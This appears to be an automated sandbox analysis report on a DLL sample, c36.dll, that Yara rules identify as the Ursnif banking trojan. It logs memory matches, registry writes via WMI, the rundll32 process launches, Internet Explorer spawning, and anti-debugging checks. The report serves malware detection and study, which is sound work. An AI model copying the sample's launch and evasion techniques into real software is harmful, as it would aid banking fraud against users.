Source: Yara match	File source: 00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6856, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6932, type: MEMORY

Source: loaddll32.exe, 00000000.00000002.1017606685.0000000000F9B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6856, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6932, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D491A44 NtMapViewOfSection,	0_2_6D491A44
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D491996 GetProcAddress,NtCreateSection,memset,	0_2_6D491996
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4923A5 NtQueryVirtualMemory,	0_2_6D4923A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00815A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	4_2_00815A27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0081B1A5 NtQueryVirtualMemory,	4_2_0081B1A5

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D492184	0_2_6D492184
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4BD1F0	0_2_6D4BD1F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4BA260	0_2_6D4BA260
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4D8559	0_2_6D4D8559
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4CEDC4	0_2_6D4CEDC4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4CC5EB	0_2_6D4CC5EB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4B99A0	0_2_6D4B99A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4DA1BF	0_2_6D4DA1BF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4D8015	0_2_6D4D8015
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C68E0	0_2_6D4C68E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4BDA30	0_2_6D4BDA30
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4D7AD1	0_2_6D4D7AD1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0081888E	4_2_0081888E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00813EE1	4_2_00813EE1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0081AF80	4_2_0081AF80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4BD1F0	4_2_6D4BD1F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4BA260	4_2_6D4BA260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4D8559	4_2_6D4D8559
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4CEDC4	4_2_6D4CEDC4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4CC5EB	4_2_6D4CC5EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4B99A0	4_2_6D4B99A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4DA1BF	4_2_6D4DA1BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4D8015	4_2_6D4D8015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C68E0	4_2_6D4C68E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4BDA30	4_2_6D4BDA30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4D7AD1	4_2_6D4D7AD1

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6D4C9D10 appears 49 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6D4C9D10 appears 49 times

Source: c36.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.troj.winDLL@34/91@25/13

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0081A65C CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

4_2_0081A65C

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{7933872F-E0BA-11EB-90EB-ECF4BBEA1588}.dat

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DFA4B211933831C46D.TMP

Jump to behavior

Source: c36.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Beautyresult

Source: c36.dll

Virustotal: Detection: 7%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\c36.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Beautyresult
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Division
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Fastcolor
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Yetclose
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7064 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:244 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4780 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5592 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2016 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4624 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5432 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Beautyresult	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Division	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Fastcolor	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\c36.dll,Yetclose	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7064 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:244 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4780 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5592 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2016 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4624 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5432 CREDAT:17410 /prefetch:2

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: c36.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: c36.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: c36.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: c36.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: c36.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: c36.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: c36.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: c36.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: c36.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: c36.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: c36.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: c36.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D491BAC LoadLibraryA,GetProcAddress,

0_2_6D491BAC

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D492173 push ecx; ret	0_2_6D492183
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D492120 push ecx; ret	0_2_6D492129
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C9D55 push ecx; ret	0_2_6D4C9D68
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4A1511 push es; ret	0_2_6D4A156F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4A1F3E push ds; ret	0_2_6D4A1F42
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4A27B2 push edi; retf	0_2_6D4A27B4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C7255 push ecx; ret	0_2_6D4C7268
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F3501 push eax; ret	0_2_6D4F3531
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F678B push dword ptr [ebx+ecx+36B6D5EAh]; iretd	0_2_6D4F67A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F3580 push eax; ret	0_2_6D4F3531
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F5803 push dword ptr [edi]; ret	0_2_6D4F5810
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F58DE push ebx; retf	0_2_6D4F58E9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F60AF push 5DC4E471h; iretd	0_2_6D4F60B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0081ABC0 push ecx; ret	4_2_0081ABC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0081AF6F push ecx; ret	4_2_0081AF7F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C9D55 push ecx; ret	4_2_6D4C9D68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4A1511 push es; ret	4_2_6D4A156F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4A5779 push esp; iretd	4_2_6D4A577D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4A670E pushad ; retf	4_2_6D4A6715
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4A1F3E push ds; ret	4_2_6D4A1F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4A27B2 push edi; retf	4_2_6D4A27B4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4A59A9 push esp; ret	4_2_6D4A59B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C7255 push ecx; ret	4_2_6D4C7268
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F3501 push eax; ret	4_2_6D4F3531
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F678B push dword ptr [ebx+ecx+36B6D5EAh]; iretd	4_2_6D4F67A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F3580 push eax; ret	4_2_6D4F3531
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F5803 push dword ptr [edi]; ret	4_2_6D4F5810
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F58DE push ebx; retf	4_2_6D4F58E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F60AF push 5DC4E471h; iretd	4_2_6D4F60B9

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6856, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6932, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D4C4FB4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_6D4C4FB4

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D491BAC LoadLibraryA,GetProcAddress,

0_2_6D491BAC

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F434D mov eax, dword ptr fs:[00000030h]	0_2_6D4F434D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F427C mov eax, dword ptr fs:[00000030h]	0_2_6D4F427C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4F3E83 push dword ptr fs:[00000030h]	0_2_6D4F3E83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F434D mov eax, dword ptr fs:[00000030h]	4_2_6D4F434D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F427C mov eax, dword ptr fs:[00000030h]	4_2_6D4F427C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4F3E83 push dword ptr fs:[00000030h]	4_2_6D4F3E83

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C27C8 _abort,__NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D4C27C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C4FB4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6D4C4FB4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C6ED0 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D4C6ED0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6D4C6A1F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6D4C6A1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C27C8 _abort,__NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6D4C27C8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C4FB4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6D4C4FB4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C6ED0 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6D4C6ED0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6D4C6A1F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6D4C6A1F

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.1017746291.0000000001420000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1018045127.0000000002E10000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000002.1017746291.0000000001420000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1018045127.0000000002E10000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
